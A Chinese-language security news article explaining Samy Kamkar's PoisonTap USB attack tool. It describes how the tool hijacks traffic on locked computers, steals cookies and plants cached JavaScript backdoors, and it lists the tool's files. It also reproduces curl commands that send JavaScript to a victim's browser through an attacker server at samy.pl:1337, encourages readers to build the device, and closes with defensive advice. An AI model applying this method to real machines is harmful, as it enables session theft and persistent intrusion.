30秒攻破任意密码保护的电脑

近日，著名硬件黑客Samy Kamkar利用5美元设备打造的黑客工具PoisonTap，只需30秒，就可以攻破设置有任意密码的电脑系统，并实现长期后门安装。PoisonTap不是暴力破解密码，而是绕过密码。

PoisonTap的标配：5美元的树莓派微型电脑Raspberry Pi Zero、USB适配器、内置免费漏洞利用软件。

目前，相关软件和利用工具已在Github提供下载，Raspberry Pi Zero在某宝上也有售卖，感兴趣的童鞋可以尝试打造属于自己的PoisonTap神器。

以下为PoisonTap官方Github介绍的工作机制，感叹Samy Kamkar大神天马行空的思维，同时也深谙自己技艺不精，不足之处，希望大家指正交流。

PoisonTap操作实现：

PoisonTap通吃Windows和Mac系统，一旦插入电脑，将伪装模拟成新加入的以太网连接，即使受害者使用WIFI，一样可以使系统优先接入其伪装的虚假网络。PoisonTap利用中间人攻击方式，可以劫持监听受害者所有网络流量，窃取存储在浏览器里的任意cookie和session，然后发送给控制端。以下为PoisonTap具体操作实现：

通过 USB或Thunderbolt模拟成新加入的以太网连接设备；

劫持目标系统所有网络连接流量（即使是低优先级或未知的网络连接）

窃取存储在浏览器内相关Alexa排名前100万网站cookie和session信息

识别目标网络路由信息，通过远程outbound方式进行WebSocket或DNS重绑定攻击

通过HTTP的JS缓存中毒方式实现长期web后门安装控制，这些缓存后门涉及上千个域名和通用javascript CDN 链接

使用用户cookie对后端域名实现远程HTTP GET或POST方式控制连接

不需要系统解锁

移除攻击载体后，后门保持有效

PoisonTap可以绕过或突破以下安全保护措施：

• 锁屏密码
• 路由表优先级设置和网络接口服务顺序
• 同源保护策略
• Cookie的HttpOnly安全设置
• Cookie的SameSite安全属性
• 双因素或多因素认证
• DNS Pinning
• 跨域资源共享
• HTTPS cookie 保护

PoisonTap如何工作：

PoisonTap对系统和网络安全信任机制的攻击，将会产生一系列连锁反应，利用USB/Thunderbolt、DHCP、DNS和HTTP方式，可以进行信息窃取、网络入侵和后门安装。

网络劫持

1 攻击者向有密码保护并且锁屏的电脑系统插入PoisonTap；

2 PoisonTap将会模拟伪装成一个新加入系统的网络连接，默认情况下，即使在有密码保护的锁屏状态下，Windows、OS X 和Linux系统将会识别该虚假网络连接，并发出DHCP请求；

3 PoisonTap响应DHCP请求，并提供一组经过构造，从0.0.0.0至255.255.255.255，与PoisonTap设备为同一子网的随机IP地址组合； 通常，在系统使用现有网络连接的情况下，一个附加网络连接的加入，系统会把其默认为低优先级网络，并继续使用现有网络网关。

但是，在基于”Internet traffic”的 “LANtraffic”情况下，任何路由表/网关优先级/网络接口服务顺序设置都可被绕过。

PoisonTap通过更改原网络连接网关地址，把流量引入自身，进而劫持系统所有网络流量。

Cookie窃取

只要目标系统运行有浏览器，打开网页将会通过AJAX或动态脚本框架（script/iframes）产生各种请求，而由于系统网络流量被完全劫持，

1 PoisonTap将会监听到所有HTTP请求和响应，并将这些内容发送到PoisonTap的web服务端（Node.js）；即使DNS服务器指向其它内部IP，由于这些内部DNS服务器将为缓存的域名产生公共IP地址，而这些IP地址已经被PoisonTap劫持，所以攻击仍然有效

3 当Node web服务器接收到请求时，PoisonTap会通过HTML或Javascript进行响应（许多网站会在后台请求中加载HTML或JS）

4 然后，HTML / JS-agnostic页面会生成许多隐藏的iframe，每个iframe中又包括Alexa排名前100万内的不同网站

通过web后门进行远程访问

1当PoisonTap生成上千个iframe之后，将会迫使浏览器加载每个iframe，但这些iframe不仅仅是空白页面，而是无限缓存的HTML + Javascript后门

2 即使用户当前未登录，由于PoisonTap已经在每个缓存域名上强制绑定了这些后门，使攻击者能够使用Cookie并在将来启动同源请求

例如，当加载http://nfl.com/PoisonTapiframe时，PoisonTap接受转向的Internet流量，并通过Node Web服务器响应HTTP请求

添加了其它HTTP头以无限缓存页面

3 实际响应页面是HTML和Javascript的组合，并由此产生持续有效的WebSocket连接攻击者web服务器端（通过互联网而不是PoisonTap设备）

WebSocket保持开放状态，允许攻击者在将来任何时候回连后端机器，并在任何有后门部署的源上执行请求（Alexa排名前100万个网站-见下文）

如果后门在一个站点（如nfl.com）上打开，但用户希望攻击不同的域名（如pinterest.com），攻击者可以将nfl.com上的iframe加载到pinterest.com后门中（http://pinterest.com/PoisonTap）

同样，域上的任何“X-Frame-Options”、跨域资源共享和同源策略安全性完全被绕过，因为实际请求的是PoisonTap留下的缓存，而不是真正的域名

内部路由器后门和远程访问

• 1 PoisonTap可以劫持当前网络的实际局域网子网
• 2 PoisonTap通过在一个特定主机上强制缓存后门，具体来说，在目标路由器的IP后面加上“.ip.samy.pl”，如192.168.0.1.ip.samy.pl，就可以生成一个持久的DNS重绑定攻击

当使用PoisonTap作为DNS服务器（受害者使用公共DNS服务器）时，PoisonTap使用临时专门的IP（1.0.0.1）进行响应，这意味着此时任何请求都将访问到PoisonTap Web服务器

如果DNS服务器设置为内部网络（如192.168.0.x），1.0.0.1.pin.ip.samy.pl发出一个经过构造的请求，几秒之后，它将会向我的专用DNS服务器（公网的）返回任意[ip.address].ip.samy.pl中的IP地址信息

然后，PoisonTap将会在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门，而在PoisonTap设备上将指向1.0.0.1，该后门将实现从PoisonTap设备访问

• 3 DNSpinning 和DNSrebinding的安全性设置，由于之前做出Alexa top100万网站请求而耗尽DNS pinning表，最终将被绕过。之后，DNS就不需要重新绑定，使得该攻击可以持续很长时间
• 4 现在，后门强制连接到http://192.168.0.1.ip.samy.pl/PoisonTap，任何对192.168.0.1.ip.samy.pl的请求都将访问到unpinned的IP地址，导致路由器解析直接指向192.168.0.1
• 5 这意味着如果通过后门远程在iframe中加载192.168.0.1.ip.samy.pl/PoisonTap指向主机，就可以对内部路由器执行AJAX GET/POST和其它任意页面，实现完全控制内部路由器

构造请求与DNS服务器解析的对应关系

[ip.addy].ip.samy.pl normally responds with [ip.addy]

192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]

1.0.0.1.pin.ip.samy.pl -> 1.0.0.1

192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)

基于web远程访问的其它后门

1 PoisonTap替代了成千上万常见的，基于CDN的Javascript文件，如Google和jQuery CDNs。如果一个网站或域名加载了受感染中毒的CDN Javascript文件，正确的代码配合后门，就可以让攻击者实现入侵访问

2 由于每个缓存的网站域名都留有后门，即使当前受害者没有对任何域名执行访问,攻击者仍然可以远程强制后端浏览器执行同源请求（AJAX GET / POST）

3 当受害者访问基于HTTP或CDN Javascript缓存中毒的网站时，后门就被触发

 

PosionTap安全防范

服务器安全

1 仅使用HTTPS，至少对认证和认证内容使用HTTPS

2确保启用Cookie安全标记，防止HTTPS Cookie信息泄露

3 当调用远程Javascript脚本资源时，请使用子资源完整性(SRI)标记属性

4 使用HSTS防止HTTPS降级攻击

桌面客户端安全

1 有必要可以用粘合剂封住USB和Thunderbolt端口

2 每次离开电脑时关闭浏览器

3 禁用USB和Thunderbolt端口

4 经常清理浏览器的缓存数据

5 在不使用电脑时，让电脑进入休眠状态而不是睡眠状态，在休眠状态中，电脑中所有的进程都将停止工作，安全性更高

文件介绍：

backdoor.html：每当一个http://hostname/PoisonTapURL请求发生并窃取 cookie信息时，该文件作为返回的强制缓存内容，它包含一个后门并生成一个外连至samy.pl:1337（主机/端口可更改）的websocket，等待服务器命令。

backend_server.js：这是你在Internet可访问的Node服务器,也是backdoor.html连接的内容（例如，samy.pl:1337）。 该服务器也用来发送命令，如：

# pop alert to victimcurl 'http://samy.pl:1337/exec?alert("muahahahaha")'# to set a cookie on victimcurl 'http://samy.pl:1337/exec?document.cookie="key=value"'# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'

pi_poisontap.js：它通过Raspberry Pi Zero上的Node.js运行，为PoisonTap 的HTTP服务端截获请求，存储窃取Cookie并注入缓存后门

pi_startup.sh：在Raspberry Pi Zero上启动时运行，将设备模拟为USB以太网配件，设置恶意DHCP服务器，允许流量重路由，DNS欺骗，并启动pi_poisontap.js文件

target_backdoor.js： 此文件预先放在任何与CDN相关的Javascript文件中，通过Google CDN’s jQuery URL方式形成后门

target_injected_xhtmljs.html：在受害者系统中注入HTTP / AJAX请求并形成整个攻击

poisontap.cookies.log： 记录来自受害者浏览器的cookie

修复措施：

目前来说，PoisonTap因为是多种黑客技巧组合而成的攻击，整个攻击和利用过程不能明确反映某个产品或系统漏洞，所以，目前来说，没有一种明确的修复措施。

但Kamkar提出了一种解决方案，希望在系统层面的网络连接切换中加入权限许可机制，但是苹果公司没有对此作出回应，而微软公司在给记者的回复邮件中表示，PoisonTap是一种物理接入攻击。

所以，最好的防御策略就是自己保管好电脑并及时更新系统和软件。

来源：FreeBuf